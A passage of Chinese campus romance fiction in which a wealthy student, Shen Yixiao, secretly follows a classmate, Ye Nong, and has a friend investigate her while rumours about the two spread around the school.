刚要张口质问的时候,一直‘盯’着她看的人先开口了—— “你能不能小点声?” 夜浓微微一怔,刚想说“我说什么了吗”的时候, 身后卷来一阵凉风,她下意识扭头,然后就见一个黑T黑短裤的男生叉腰, 一副气急败坏的模样。 “我跑楼上找了你一圈,你倒好, 在这坐着?” 沈屹骁看着齐祯的同时, 视线里也盛着那张怔愣里又透着几分羞窘的脸。 这是误会他刚刚是在说她? 沈屹骁眼里闪过一瞬不易察觉的笑, “我怎么知道你是上去找我?” 随着他话音落地, 原本定在自己脸上的那双眼神也别开了。 眼看夜浓转过身出门,沈屹骁也下意识站起身。绕过餐桌,刚越过齐祯身侧,臂肘就被他攥住了。 “跟你说话呢!” 沈屹骁把胳膊往后一抽:“有什么好说的?” 齐祯终于瞧出了他的不对劲,“你今天反常啊!” 沈屹骁瞥他一眼:“门没关。” 齐祯条件反射就低头往自己的□□看。 “......” 他今天穿的是短裤, 哪来的‘门’。 齐祯几个大步追到门口,五六个台阶往下一看, 顿时有种俯瞰众生的顿悟。 这厮, 难怪昨天跟他打听韶观远呢, 原来打的这主意。 还好意思说人家鬼鬼祟祟跟在人女孩子身后。 齐祯嘴角勾出坏笑, 扯起嗓门就喊—— “夜浓!” 沈屹骁顿时倒吸一口气, 迅速转过身来的下一秒, 夜浓也循声回头。 齐祯看笑话不嫌事大地朝她挥了挥手:“没事,刚刚忘了和你打招呼了。” 夜浓像看个精神病患似的,看了他一眼就转过了身。 在沈屹骁那双恨不得将他碎尸万段的眼神里,齐祯慢慢悠悠地踩下台阶走到他面前。 “难怪不让我还钱了呢?我刚刚要不喊她一声, 你是不是还准备一路跟去人家女生宿舍?” 见他不说话,齐祯更得寸进尺了。 意味深长的一双眼,上上下下地打量着他:“我说大周末的怎么来学校了呢,还跑食堂来,”他抬手往后指了指:“你这是第一次进来吧?” 沈屹骁沉着双眼,就这么冷阴阴地看着他。 虽说他眼里警告明显,但生平第一次能掐到他软肋,齐祯舍不得放过。 “还真以为你两脚踏进佛门了呢,原来也有春心动的——” 沈屹骁抬腿就是一脚,好在齐祯反应快,往旁边一躲。 “你看你,我还没说什么呢,你就急成这样。” 沈屹骁懒得再搭理他,转身就走。 齐祯就像块膏药似的,跟在他旁边。 “你说你喜欢谁不好,喜欢她,你这不是给自己找堵吗?” 沈屹骁余光瞥他一眼。 齐祯忙解释:“我没别的意思啊,主要就是......你知道咱们学校有多少人追她吗?” 沈屹骁还真不知道。 主要是他以前压根就不关注这些。 “咱不说别的,就那个韶观远,追了她两年了,一点下文没有。” 沈屹骁双手抄兜,像是随口一问:“怎么追的?” “还能怎么追,追人的招数你就算没用过,还能没听过?” 不等沈屹骁去想那些招数,齐祯就在那掰着手指头给他一一列举了:“吃的、喝的、花,包括去食堂吃饭给人家占位置,一个大男人,口袋里整天揣着包纸巾——” “纸巾?”沈屹骁听不懂了:“追人还要纸巾?” “给人家擦嘴啊!” 沈屹骁怔了怔:“...你不是说没追上吗,没追上还能让他干这种事?” 齐祯给了他一记白眼:“是让人家擦,不是给人家擦!” 沈屹骁:“......” 当然,齐祯跟他说这些,想表达的重点是—— “反正那女的挺难搞的,你还是离远点吧。” “难搞,”沈屹骁笑了,嘴角挂着抹明晃晃的嘲讽:“这话是你说的,还是韶观远说的?” 齐祯手一挥:“咱们学校哪个追过她的人不这么说。” 沈屹骁嗤笑一声,语气尽是不屑:“自己没本事,却反过来说人家难搞?” 齐祯争不过他,索性顺着他话跟他唱反调:“那是,你沈大少爷一出手,还有什么追不到的人吗?” 沈屹骁懒理他的阴阳怪气:“跟韶观远说,让他别废力气了。” 齐祯愣了一下:“什么意思?” “你说什么意思?”沈屹骁讳莫如深地看了他一眼。 “你、你还真要追她啊?” 沈屹骁没说话,但无论表情还是眼神,都写着:你看我像在开玩笑? 但是齐祯也没开玩笑,“你知道自己有多少个情敌吗?” 这天之前,沈屹骁的确不知道,但是这天之后,从他开始留意之后—— 成群结伴去食堂的女孩子里,似乎只有她是自己。 拿着两个透明色的饭盒,刚一走进食堂,就有两个男生喊她的名字。 她却像没听见似的,目不斜视地往打饭窗口去。 每一个窗口都在排队,她不声不响地走到其中一个队伍后,刚一站稳,又有人喊她的名字。 可她还是那般,充耳不闻,别说循声回头,就连眼皮都不抬一个。 齐祯反手拍在沈屹骁的胳膊上:“看见了没,理都不带理的。” 沈屹骁不觉意外:“为什么要理?” “礼貌懂不懂,人家喊你,你起码回个表情吧。” 沈屹骁却不这么认为,“就这帮男的,理了,岂不是给他们脸了?” 齐祯掐着他这话,笑得一脸坏:“所以你又凭什么认为人家会理你?” 见他不说话,齐祯更来劲了。 “要不要赌一把?” 「赌」最能激起男人的胜负欲。 以齐祯对他的了解,他肯定二话不说就说好,结果除了接到他一记冷眼外,还有两个冷冰冰的字眼。 “无聊。” 齐祯气笑一声:“直接说你没把握不就得了?” 沈屹骁的确是没什么把握,毕竟连着两次都吃了瘪。 所以他改变了策略。 “让你跟韶观远带的话,你带了吗?” 齐祯愣了一下:“这话你让我怎么说?” 他可不是个长舌头。 沈屹骁抬手在他肩膀拍了拍:“那你就跟别人说。” 见他一脸茫然,沈屹骁站起身:“传话这种事,还需要我教你?” 齐祯不是个喜欢传话的人,但被沈屹骁这位当事人允了口,而且还收了他一笔转账,这不就等于拿人钱财替人办事? 齐祯不负他所望,不过一周,学校里就开始流言四起。 开始听到那些谣言的时候,夜浓只当一个笑话来听。 沈屹骁追她? 怎么可能,她和那位大少爷可是一句话都没有说过。 既然是空穴来风,所以她压根就没有理会。 没过几天,宿舍里也开始议论这事,不过室友都没有当她的面说。 那天是周五,夜浓打完水回来,走到门口,刚要推门—— “你说,那些谣言会不会是她自己传的?” “我也觉得是,不然这都半个月过去了,沈屹骁要是真在追她,不可能一点动静都没有。” “就是,之前那个刘铮追她,都能送几万一条的项链,沈屹骁那样的家世,追起人来,不得送车送房啊!” “所以她故意造谣,难不成是想引起沈屹骁的注意?” 门口,夜浓听笑了,手轻轻一推。 刚刚还聊得热火朝天的几人,见她进来,顿时都安静地趴回到自己的桌前。 夜浓不是个喜欢解释的性子,没做过的事情,她更是懒得争辩。 但是自己被她们背后议论也不是一次两次了。 “自己散播谣言很无聊,背后无中生有更无聊。” 说完,她放下水瓶,拿着包出了宿舍。 谈不上心情不好,但被谣言缠身,终究还是让她心里有些憋屈。 但是夜浓是一个很会排解负面情绪的人,恰逢周五,她就去了离学校不远的白梨巷。 白梨巷是一条满地油垢,但却香味四溢的老街。 三十九元一个人的自助旋转火锅,夜浓点了一个鸳鸯和一个辣锅。 她不太能吃辣,但那种被辣得全身出汗的感觉,会让她觉得很畅快。 火锅店门口有棵香樟树,沈屹骁站在树下,在指间那根点燃后只吸了一口的烟烫到了皮肤,他才收回视线。 烟掐灭之后,他径直走进火锅店。 高出椭形餐桌的运输台,将对面的人隔离开。 沈屹骁点了一份鸳鸯锅,在对面传来一声呛咳的时候,他抬了下头。 然后就见对面被咳得脸涨红的人站起身,匆匆跑去了收银台。 沈屹骁歪头,视线追过去。 “老板,之前那种橙汁呢?” “那个卖完了,货还没送过来,你看看其他的。” 沈屹骁就这么看着她在冷藏柜里找了一圈,以为她会退而求其次,结果却见她跑了出去。 这是去其他店买去了? 果然,没两分钟的功夫,沈屹骁就见她拿着两瓶橙汁回来。 出门前微微噘着的嘴巴不仅平了下去,唇角还微微上扬。 两瓶橙汁就可以满足成这样? 沈屹骁无声失笑。 半个小时,在夜浓起身离店后,沈屹骁也站了起来,不过他没有径直出店,而是走到对面。 番茄和辣锅。 喜欢吃番茄? 沈屹骁嘴角提笑之余,又看向旁边被喝空瓶的两瓶橙汁。 看着瘦瘦的,胃倒是不小。 出了店,沈屹骁左右扭头张望了两眼。 往来人潮里,光是一个背影就能抓人眼球。 沈屹骁抬脚跟上去。 两三米宽的街两边,都是小摊。 夜浓拂着裙摆,在一个摆满各种卡通人物的小摊前蹲下。 “老板,这个多少钱?”夜浓指着一个蒙奇奇。 “八块,两个十五。” 夜浓抬起头,“四个二十五卖吗?” 老板是个年轻小伙,在她仰头看过来的视线里,表情呆了两秒:“...拿、拿去吧。” 他刚一说完,旁边就传来一句:“那你刚刚还卖我三十,找我五块钱。” 隔着三四米远,沈屹骁偏着脸,笑得肩膀直抖。 之后,沈屹骁又跟在她身后进了一家五元店。 不到二十平的小店里,挤满了人,沈屹骁也不知道自己为什么要凑这热闹,侧身挤进去。 凭着身高的优势,沈屹骁轻巧一个垂眼,就能看见她拿起并放下的每一个小物件。 梳子、发卡、小勺、贴纸...... 什么都有。 上午齐祯问她,要不要帮他打听她的喜好。 沈屹骁一点都不信打听来的东西。 因为半个月跟下来,他发现他看见的她,和齐祯口中的她,一点都不一样。 每天食堂里都有男生给她占位不假,但她却从来都不坐。 筷子一放下,的确是有人递纸巾,但她却从来都不接。 去水房打水,有男生去接她手里的水瓶,她更是眉眼一沉,手一背。 去图书馆就更不用说了,她人往那一坐,没一会儿的功夫,桌上又是奶茶又是零食的,结果她看都不看一眼。 上周沈屹骁更是亲眼看见刘铮送了她一个最低也要四位数起步牌子的鞋。 结果她可好,一声“谢谢”加一声“不用了”之后,她身子一转。 齐祯说她是眼光高,看不上那些男生送的东西。 沈屹骁可不这么认为。 她骨子里应该有一种傲气,这种傲气,从她那双明眸善睐却含缕缕冷清的眉眼里就能看出来。 就是不知道,如果以后他送她贵一些的东西,她是不是也不会收。 拧眉间,这段时间总是被他在心里默念的两个字被一道男声喊了出来—— “夜浓!” 沈屹骁抬头看过去,还没看清男人的正脸,就见离他两米远的人‘蝴蝶展翅’般地‘飞’了过去。 沈屹骁:“......” 所以她眼里之所以容不下别的男生,是因为...... 有男朋友了? 大学 平时恨不得离那些男生几米远的人, 今天可好,还挎上人家的胳膊了。 沈屹骁站在原地。 忌妒像是千万只蚂蚁啃噬在他心头,让他眼底眸色沉了又沉。 眼看两人依偎着走远, 沈屹骁强压着跟上去的念头,转了身。 来时月好景也美,同样的一条路再往回走, 连风都刺眼。 沈屹骁站在齐祯的宿舍楼下,一点也没压着自己的脾气:“你给我下来。” 被他吼的, 齐祯手里的手机差点掉到了地上。 急匆匆跑下来, 大气都没喘匀。 “怎么了这是?” 沈屹骁眸色沉的比头顶的夜幕还要深, “她有男朋友, 你不知道?” 齐祯瞳孔微微一震:“你听谁说的?” “我亲眼看见的!” 三年了都没听说那女的有男朋友,这人可好,刚一准备追就惨遭人家有男朋友了? 齐祯好奇心膨胀:“咱们学校的?” “我哪知道!” “那你在哪看见的?” 沈屹骁一点都不想回忆二十分钟前看到的那一幕,“白梨巷。” 沈屹骁脸部轮廓硬朗,一气一恼间, 浑身上下透着股说不出的野劲儿。 难得见他有如此激动高亢的情绪,齐祯瞧着他那双恨不得吃人的一双眼, 嘴角憋笑:“有男朋友怎么了?” 齐祯一个一个地竖起手指头:“撬墙角、横刀夺爱, 棒打鸳鸯散, 三个你随便选。” 沈屹骁听得一时无语, 默了两秒, 他眉梢突然一挑:“那你就去给我查。” 齐祯:“......” 他是他兄弟, 又不是他跟班,凭什么帮他做这种偷鸡摸狗的事儿。 但是这么好的机会,齐祯怎么可能放过 :“那可就是另外的价钱了。” 沈屹骁一个犹豫都没有,抬起手里的手机, 指尖几个轻点后,他把屏幕亮过去:“我还可以再加一个零。” 那也就是说,他干的就不是查人家男朋友的底这么简单的事了。 吗的。 之前他穷的吃不上饭的时候,也没见这么大方,如今为了个女人...... 齐祯闭眼一个深呼吸后,朝他竖起大拇指:“你可真够沈屹骁的。” 如数收了款,齐祯的任务也随之分配下来。 “今晚你就去她楼下蹲着。” 去女生宿舍楼下蹲点? 蹲什么? 反应过来他的用意,齐祯差点爆粗口:“难不成我在那蹲着,还能阻止得了她跟男朋友去外面开房?” 沈屹骁一脚扫他腿上。 齐祯疼得门牙都龇出来了:“有气往人家男朋友身上撒去,你在我这横什么横!” 沈屹骁不理他的气急败坏,直接下了通牒:“二十四小时,过了这个点,你不把那男的查个底朝天,你就等着你爸来学校找你吧!” 听听,这说的是人话吗? 齐祯手指着他转身的背影:“沈屹骁,这事完了咱俩就绝交吧!” 一个大男人,把绝交挂嘴上。 沈屹骁回头看他:“不用养女朋友了?” 齐祯:“......” 沈屹骁下巴往西一抬:“现在就去。” 齐祯咬了咬牙:“我上去换条裤子行不行?” 沈屹骁往他腿上的短裤看了眼:“五分钟?” 一想到大周末的不能睡,反倒要去帮他盯梢,齐祯眼里就直冒火星子。 “我去了,那你呢?” 沈屹骁凉着一双眼,声音却漫不经心:“我不缺钱。” 齐祯顶了顶腮,笑了。 行,可真行。 真当他齐家没钱是吧! * 五月的晚上,天虽然不热,但蚊子却不少。 齐祯蹲在二号宿舍楼大门口的路灯下,手里的烟点了一根又一根,不是烟瘾,纯粹为了驱蚊。 眼看过了十点,还不见那位始作俑者回来。 齐祯索性趁着这时间挨个打电话。 十几个电话拨出去,什么都没打听到不说,一个个还都反过来问他,夜浓的男朋友是哪个。 他要是知道,还能摊上今晚这破事? 齐祯干脆不问了,不是让他在这盯着吗? 行,那他索性就等那位当事人回来,当面问个清楚。 结果这一等就等到了凌晨一点。 把齐祯都等得没脾气了。 一不小心打了个盹,两个膝盖一歪,差点睡倒在地上。 再看一眼时间,都凌晨两点了。 也不知道那位有没有回来,如果回来了,他这后半夜是白等,如果没回来,那这个点也不会再回来了。 齐祯撑着僵硬的膝盖站起身,扬长而去。 结果刚一到宿舍楼下,某人的电话就打来了。 一旦被他先开口,自己就会处于下风失去主动权。 所以电话刚一接通,齐祯就扯着嗓子:“没回来!” 虽说这段时间以来,沈屹骁白天都会在学校,但晚上他依旧回自己的公寓。不过这会儿,他人却在大门口的车里。 “你回去睡吧。” 齐祯被他低软的声音听愣住:“...不、不等了?” 这个点了还没回来,今晚肯定是不会回来了。 一想到她跟别的男人在外面过夜,那些乱七八糟的画面就控制不住的往他脑子里钻。 沈屹骁闭眼靠着椅背,“回去睡吧。” 他情绪低落成这样,反倒让齐祯有点不放心了。 “你在哪?” 若说自己在学校门口,那小子肯定二话不说就过来,沈屹骁现在心里烦闷得厉害,既不想让他担心,也想自己静静。 “在公寓。” 齐祯眉心拧着,将信将疑:“真的?” “嗯。” 齐祯看向女生宿舍的方向。 可以啊那位。 这还没怎么着呢,就能拿捏住他兄弟的情绪了,这要真在一起了,还不骑他兄弟头上撒野? 宿舍也不回了,齐祯往台阶上一蹲,又开始挨个地打电话。 * 每到周五,室友们都会聊天聊到深夜,你一句我一句里,时不时都会带上名字,但却从来没有“夜浓”二字。 虽说夜浓早已习惯,但这种不算排挤的刻意忽略,终究会让人心里不太舒服。 所以每到周五,夜浓都会以回家为由不回寝室。 可是相比寝室,那个家更让她觉得压抑。 离白梨巷不远有个环境还不错的网吧,里面有不少的单间,夜浓经常会去凑合一晚,然后在第二天上午再回寝室。 以往的周六,室友们要么会在上午出门,晚上很晚回来,要么一夜不归,直到周日下午才回。 夜浓特意选在十一点的时候才回寝室,室友们果然都不在。 谁知一个刷牙洗脸的功夫,夜浓刚一从阳台的卫生间里出来,三个室友竟然全都回来了。 在三双眼睛齐齐看过来的视线里,夜浓眉心微蹙:“怎么了?” 三个室友,就数李晓琪和她说话最少,今天却意外地最先开了口。 “夜浓,你和沈屹骁...在一起了呀?” 本就微蹙的眉心,听她这么一说,更是蹙紧。 夜浓第一反应不是否认,而是:“你听谁说的?” 李晓琪和其他两个室友相视几眼后,回得闪烁其词:“商学院都这么说,说你昨晚是在他公寓...过得夜。” 可真是离谱,之前传他追她,现在又传她在他那过夜。 重点是,今天是周六,距离昨晚也不过半天的时间,这谣言传的是不是有点快的离谱? 夜浓扬唇好笑一声:“你说个名字,我也去问问。” 李晓琪顿时把唇抿了又抿:“我们也是好奇,又没什么恶意。” 没有恶意,但也绝对没安什么好心。 夜浓懒得再同她说,将手里的刷牙杯和洗面奶放回桌上后,她抓着梯子扶手上了床。 耳边出奇的安静,夜浓闭着眼都能想到下面的三个人在用眼神交流。 随着手机震动声传来,一声没有被刻意压低的“喂”声后,房间里再度陷入一阵安静里。 安静到,能听见电话里是个男声。 接着,一阵被刻意放轻的脚步声传来。 然后,是门被轻轻带上的声音,以及被刻意压低的一句—— “不是沈屹骁吗?” 给李晓琪打电话的是他男朋友的朋友。 无名小卒,在齐祯好一圈的打听之后才打听到的一个人。 这会儿,齐祯就在这个人的旁边。 在刚刚李晓琪的那句回答之前,齐祯让这个男生问的是:你知道夜浓男朋友是谁吗? 李晓琪就回了一句:不是沈屹骁吗? 电话开的是免提,齐祯一听她这么说,顿时翻了个白眼。 “你问她,昨晚她是跟谁出去过得夜。” 结果免提声里传来的还是同样的话:不是沈屹骁吗? 齐祯都听笑了,直接对着话筒那边嚷:“你听谁说的?” 真要是和他那位兄弟过夜去了,他至于一夜不睡打听这事? 听出话筒那边换了个人,李晓琪愣了一下,不过这不是重点。 她和回答夜浓时一样:“商学院那边都这么说。” 齐祯嗓子里一噎。 哪个好事精,竟然敢这么瞎传。 重点是,昨晚发生的事,这么快就在商学院那边传开了? 默了会儿,齐祯突然想起来:“她回来了吗?” 李晓琪整个人思路也有点乱:“谁呀?” “你说谁?”齐祯调子一提:“夜浓!” “...回、回来了,”说完,李晓琪才慢半拍地反应过来:“你谁啊?” 齐祯懒得再回,手机挂断后往那男生怀里一扔:“听说你女朋友平时对夜浓阴阳怪气的,有这回事?” 对方把头摇成拨浪鼓:“她不是我女朋友,是、是我一朋友的女朋友。” 齐祯没功夫理这其中的关系:“那你就跟你朋友说一声,以后对人家客气点。” * 能问的人都问了,结果问出来的对象却是沈屹骁。 总不能拿这三个字去交差吧! 齐祯郁闷了一下午。 最后实在没辙了,他索性豁出去。 “哪呢?” “公司。” 短短两个字,也听不出他情绪,齐祯装腔作势地“咳”了声:“帮你问了,她没男朋友。” 以齐祯对他的了解,又或者逻辑性,他下一句肯定会问—— “那昨晚和她在一起的男人是谁?” 早有准备,所以齐祯胡诌的脸不红,但心跳:“她亲戚家的孩子。” 在感情方面,齐祯的道德感没那么高。 对他来说,有男朋友也不算事,喜欢,抢了就是。 能抢来,那说明是自己的本事。 抢不来,那说明有缘无分。 不过这是他的爱情观。 至于沈屹骁...... 生平第一次春心动,齐祯对他这方面还不了解。 总之,他得先让自己过了这关再说,不然他就是想帮也不好下手。 “不过说来也奇怪,”为了分散他注意力,齐祯随口似的提了一嘴:“打听这事的时候,你知道我听到了什么?” “什么?” “现在四处都在传,说她昨晚是被你带出去过夜了。” 隔着手机,齐祯看不见他悄然上翘的嘴角,只听他轻“哦”一声,接着又漫不经心地问了句:“传的厉害吗?” 齐祯暂时还没听到,不过为了能让他有个好心情,齐祯扬着调:“何止厉害,都传疯了。” 大学 两天的周末一结束, 周一,沈屹骁住进了学校宿舍。 齐祯闻声赶来,“你这是准备近水楼台了?” 见他盯着另一张空床位, 沈屹骁一语掐灭他心里的小火苗:“想都别想。” 齐祯:“......” 幸亏自己没说出来,他嗤了声:“小人之心。” 他转了个身,没话找话似的:“以后准备吃住都在学校了?” 沈屹骁也不理他, 从并列打开的三个行李箱里,一件件地将衣服拿出来挂进衣柜。 “所以接下来你怎么打算的?” 沈屹骁抬手往门后一指。 齐祯:“......” 他就不信撬不开他那张嘴。 “听说你喜欢的那位, 跟几个室友关系不太好。” 不听声, 但是看见他手里的动作停了一下。 齐祯把嘴角的笑抿下去, 继续。 “听说她爸妈离婚, 她——” “谁让你查她的?” 一不小心就踩到了他的雷区,齐祯解释:“不是你让我查他男朋友的吗,这不就顺带着一块儿打听到了?” 见他脸上有了愠色,齐祯迅速岔开话题:“晚上要不要我帮你把她约出来?” “不需要。” 不用就不用,非得说「不需要」这种伤人的字眼。 看出他兴致不高, 齐祯也不给自己添堵,“行, 那你什么时候有需要说一声。” 想到自己掏心掏肺的两天周末喂了狗, 齐祯心里又有点不爽。 他不爽, 也得让某人不爽一下, 走到门口, 他回头:“听说她周五晚上经常不回宿舍, 然后周六回来睡一整天。” 他故意“啧”了声:“你说——” 不等他话说完,被线缠着的充电器,如同子弹脱膛似的飞了过来。 “啪”的一声响里,齐祯心里也跟着爽了:“晚上见。” 学校现在谣言四起, 走到哪都能听见沈屹骁和自己的名字绑在一起。 夜浓懒得听,索性就用耳机隔离掉所有外界的声音。 不理会不解释是她对待这些空穴来风无中生有的谣言一贯的态度。 只是偶尔的,脑海里会闪过「沈屹骁」这三个字。 偶尔的,会对这个人有些好奇,好奇—— “夜浓!” 耳机里的一首歌刚好放完,夜浓循声抬头,是李晓琪,和她一起朝自己招手的还有另外一个室友。 真是太阳打西边出来了,竟然会在食堂跟她打招呼。 夜浓走过去,敷衍又不失礼貌地笑笑:“怎么了?” 李晓琪往后退了一步,把身前的位置让出来,“你站这儿来。” 在她身后的队伍都快排到门口了,夜浓摇了摇头:“不用了,插队不好。” 不过一个转身的功夫,李晓琪嘴角的笑也一秒平了下去。 “不识好歹。” 蒋蒋用胳膊肘碰了碰他:“你小点声。” 李晓琪抱着胳膊,一脸的不屑:“不就跟人家睡了一夜吗,还真——” “不就?” 又凉又淡的声音,却像一根针,扎进了李晓琪的喉咙里。 让她喉咙哽住的何止是这道声音,还有站在半米之隔的人。 沈屹骁就这么垂着眉眼,看着面前这个个子不高,舌头却挺长的女生。 把李晓琪看得后脊凉气直蹿,好几个吞咽后,她才结结巴巴地开了口。 “对、对不起。” “这话不该对我说。”他声音淡得出水,可就是有一种咄咄逼人的气势。 在他强势又冷漠的眼神下,李晓琪把唇抿了又抿:“我、我回头就、就跟她道歉。” 周围越来越多双眼睛看过来,沈屹骁依旧站在原地,他下巴一抬:“现在就去。” 李晓琪窘红着脸,扭头往队伍后勾了勾脑袋。 “三号窗口。” 说完,沈屹骁抬脚从她身旁越过。 不见他手里有饭盒,李晓琪以为他会出食堂,心里刚一窃喜,却见他走到不远处的一个餐桌前坐下。 对面两个男生见状,立马端起餐盘溜了。 李晓琪算是看出来了,今天这个歉不道,那人是不会善罢甘休的。 偌大的食堂因为沈屹骁的举动,像是被分割成一水一火无法交融的两块区域。 相比一到六号窗口那边嘈杂的议论声,七到十二号窗口这边的窃窃私语声就显得尤为安静。 沈屹骁抱着胳膊八风不动地坐着,极具强势的一双眼,就这么盯着李晓琪一步步往三号窗口走。 直到她走到夜浓身侧。 距离不算近,沈屹骁眯起眼角盯着夜浓脸上的表情。 有意外,但转瞬即逝后,她表情就回到了平时的淡淡然。 沈屹骁嘴角浮出笑。 挺好。 没有因为对方一句对不起,就受宠若惊的说一声没关系。 随着李晓琪转过身来,夜浓那高挑的身材也极为张扬得显露在队伍中。 一米七? 肯定是超过他肩膀了,就是不知道面对面地站着,额头能不能抵到他下巴。 在此之前,沈屹骁一向都对女孩子的身高无感,可随着她的出现,他对异性的喜好都因为她而有了具象。 像她这般高,像她这般瘦,鼻子像她那般挺,眼睛像她那般大。 面对异性,也要像她这般爱搭不理。 当然,他要的不是像,而是就要她。 沈屹骁站起身走过去。 这段时间,他总会隔着不远不近的距离跟在夜浓的身后。 不知是她防备心太低,还是说,周围的一切人和事都引不起她注意,这都快小半个月了,她好像一丁点都没有发现他的存在。 在不知多少双眼睛追着看的视线里,沈屹骁排在了三号窗口的队伍后。 他也不插队,拍了拍站他前面男生的肩膀,手指比划一下后,对方立马绕到身后,沈屹骁也不白占人便宜,扭头,“二楼五号窗口,点完菜报我名字就行。” 对方听了直摇头:“不用了不用了。” 沈屹骁就只管把话说到,至于对方去还是不去,那他不管。 接着,他又拍了拍前面的一个男生的肩膀,同样的动作同样的话,就这么一直‘插队’到和夜浓只隔了一个女生。 对方怯怯回头看了他一眼,“需要我——” 沈屹骁一边看着他喜欢的那只乌黑的小脑袋,一边做了一个“嘘”声的手势。 明目张胆,却又小心翼翼。 他用行动破了学校的谣言,证明是自己的有心靠近。 偏偏他心心念念的那个人,塞着耳机垂着脑袋,活在自己的世界里。 眼看轮到她打饭了,沈屹骁歪头看过去。 竟然打了两个饭盒的鲫鱼汤。 这么爱吃鱼? 沈屹骁视线追着她转过身的背影。 “你饭盒呢?” 窗口里打饭师傅的声音打断了沈屹骁的思路,他说了声抱歉后,空着两手离开了队伍。 眼看都要走到食堂门口了,齐祯和另外两个男生走了进来。 站他右手边的男生没看路,直冲冲的,要不是齐祯眼疾手快地伸出胳膊挡住他路,估计能和对面的人撞个满怀。 结果胳膊刚一收回去,却发现对面的人是夜浓。 齐祯眼皮一抬,然后就看见了跟在人家身后的大尾巴狼。 “沈屹骁!”他笑得焉坏:“这么巧。” 在沈屹骁的猝不及防里,夜浓转过头来。 生平第一次,沈屹骁体会到了做贼心虚,心脏砰砰,恨不得要从他胸腔里跳出来一样。 但他就是有一种内心动荡不安,面上却看不出丝毫端倪的本事。 目视前方地越过夜浓的肩膀走过去。 在他漫不经心的眼神里,只有他自己知道,即便他瞳孔里的焦距没有对准她,可余光里却盛满她的脸。 走到齐祯的身边时,沈屹骁停了下脚,虽然没说话,但掌心在他肩膀上不轻不重地拍了两下。 就这么把齐祯拍的,直接转身追了出去。 被他丢在原地的两个朋友,双双抬起手,朝夜浓小幅度地招了招的同时,还“嗨~”了一声。 同样都是打招呼,但却和平时那些想和她套近乎的男生很不一样。 有一种很局促的礼貌。 局促到那勉强笑着的嘴角比哭还难看。 夜浓忍住笑走出去,刚好看见不远处,刚刚看都没看她一眼的人,一脚扫在那个男生的腿弯处。 看着挺沉稳一人,没想到脾气还挺大。 虽说夜浓不怎么关注外界的人和事,可到底也在这里上了三年的大学,所以她还不至于孤陋寡闻到没听说过沈屹骁的名号。 但她也就仅仅只听说过他的名,或许是因为他极少出现在上课以外的地方,所以夜浓见过他真人的次数几乎为零。 准确来说,第一次应该就是上次在食堂。 若不是刚好有人喊出了他的名字,她还真对不上号。 食堂楼后面有一个小花园,里面藏着三四只流浪猫。 每次食堂有鱼汤,夜浓都会过来喂它们。 一只大着肚子的狸花猫在她手指的轻挠下,埋头舔着被倒在一次性饭盒里的鱼汤。 “我这个月的生活费已经用完了,没有钱给你买猫粮了,接下来这一星期,就只能委屈你跟我吃食堂喽。” 但是她语气又很快雀跃起来:“但是你放心,如果碰到有鱼的话,我一定带来给你。” 不远处,沈屹骁一边看着她用那只白皙干净的手抚着一只脏兮兮的流浪猫,一边听着她一会儿失落又一会儿雀跃的声音。 难怪打了两个饭盒的鱼汤,原来是用来喂流浪猫的。 那她自己呢,把猫喂饱了,她吃什么? 午后的学校里,人不多,沈屹骁没有跟着她太近,绕过食堂楼侧,沈屹骁远远跟在身后。 午后的阳光很晒人,不少女生都打着遮阳伞,但她却让自己笔直又细白的两条腿暴晒在太阳下。 眼看她进了超市,沈屹骁站在斜对面的金叶榆下,也就几分钟的功夫,就见她拎着一只塑料袋出来了。 黑色的塑料袋,也看不清里面都买了什么。 眼看她往女生宿舍方向走,沈屹骁便没再跟着。 一整个下午,沈屹骁都在想要怎么解决她接下来的温饱问题。 晚上,被他踢了一脚的齐祯,不计前嫌地来找他吃饭。 见他眉心蹙着,齐祯还以为他在为追人的事发愁。 “你说你,兜里揣那么多的钱是干嘛用的?吃的穿的用的,你变着花样多地送不就完事了?” 沈屹骁瞥他一眼:“所以呢,那些人追到了吗?” 齐祯嗓子里一噎:“...但是你有张帅脸啊,那些人有吗?” 沈屹骁:“......” “信我的,正好我晚上没事,我陪你去买几样贵的,明天开始,你就一天一样,变着花样地送。反正你钱多,人家送几万的,你就在后面加个零,这距离一拉开,你的优势不就显露出来了?” 沈屹骁不信他那套追人的方法。 礼物肯定要送,但不是现在。 现在,他觉得应该送点能解她燃眉之急的。 “你去给我买几袋猫粮。” 齐祯还以为自己听错了:“什么玩意?” 沈屹骁耐着性子又重复一遍:“猫粮。” “猫粮?”齐祯一双眼里写满了不可置信:“你见谁追女孩子,请人家吃猫粮的?” 沈屹骁一双冷眼射他脸上:“你可以滚了。” 齐祯没有滚,就这么跟在他身后,跟他出了校门,跟他上了车,跟他去了宠物店。 出来的时候,齐祯怀里抱着两大袋二十斤的猫粮。 “送她寝室?” 沈屹骁白了他一眼:“送我那去。” 齐祯往怀里看了眼:“你也没钱了?” 沈屹骁无语他的脑回路,“是用来喂食堂后面的流浪猫的!” 齐祯顿时一个大喘气:“你吓死我了,我还以为你比我还惨,都要开始吃猫粮了呢!” 沈屹骁瞪了他一眼:“也就你会这么想。” 猫粮解决了,但沈屹骁还是想做多手准备。 “一楼食堂不是你二舅的一个亲戚承包的吗?” 齐祯现在已经完全摸不准他的思路:“你又想干嘛?” 沈屹骁说:“从明天开始,你让食堂每天多加一份鱼汤,钱算我的。” 又是喂流浪猫又是鱼汤的。 齐祯终于听出来了:“食堂后面的流浪猫,是你家那位在喂?” 沈屹骁对他话里的称呼似乎很满意,他嘴角提笑:“和你家那位比,是不是很不一样?” 齐祯可一点都没被比下去:“先把人追到再说吧,别脸一转,成了别人家的了。” 在沈屹骁瞬间沉下来的眼神里,齐祯见好就收:“开个玩笑。” 玩笑归玩笑,回去的路上,齐祯给他提了个醒:“马上就要放假了,你再这么磨磨唧唧的,出了校门,你可就不能像现在这么近水楼台了。” 沈屹骁当然知道。 “下周她会主动来找我的。” 大学 “下周她会主动来找我的。” 齐祯都听笑了:“谁给你的自信?” 他的自信, 从来不需要别人给。 沈屹骁眸底含笑,扭头看了他一眼:“我自己。” * 食堂有鱼汤不稀奇,稀奇的是在有其他汤的情况下还多了一份鱼汤, 而且还是免费提供。 不过意外虽意外,更多的是惊喜。 只是没想到,当夜浓端着打来的两份鱼汤到了食堂后, 竟然发现花园边还放着一大包猫粮。 三四只流浪猫围在那包猫粮旁,不停地嗅着鼻子。 夜浓喂这些流浪猫已经快两年了, 今天还是第一次碰到这种情况。 虽然她不觉得自己的行为有多高尚, 可是能碰到和自己一样有爱心的人, 还是让她心里暖暖的。 从花园的花丛里将平时用的一次性饭盒拿出来后, 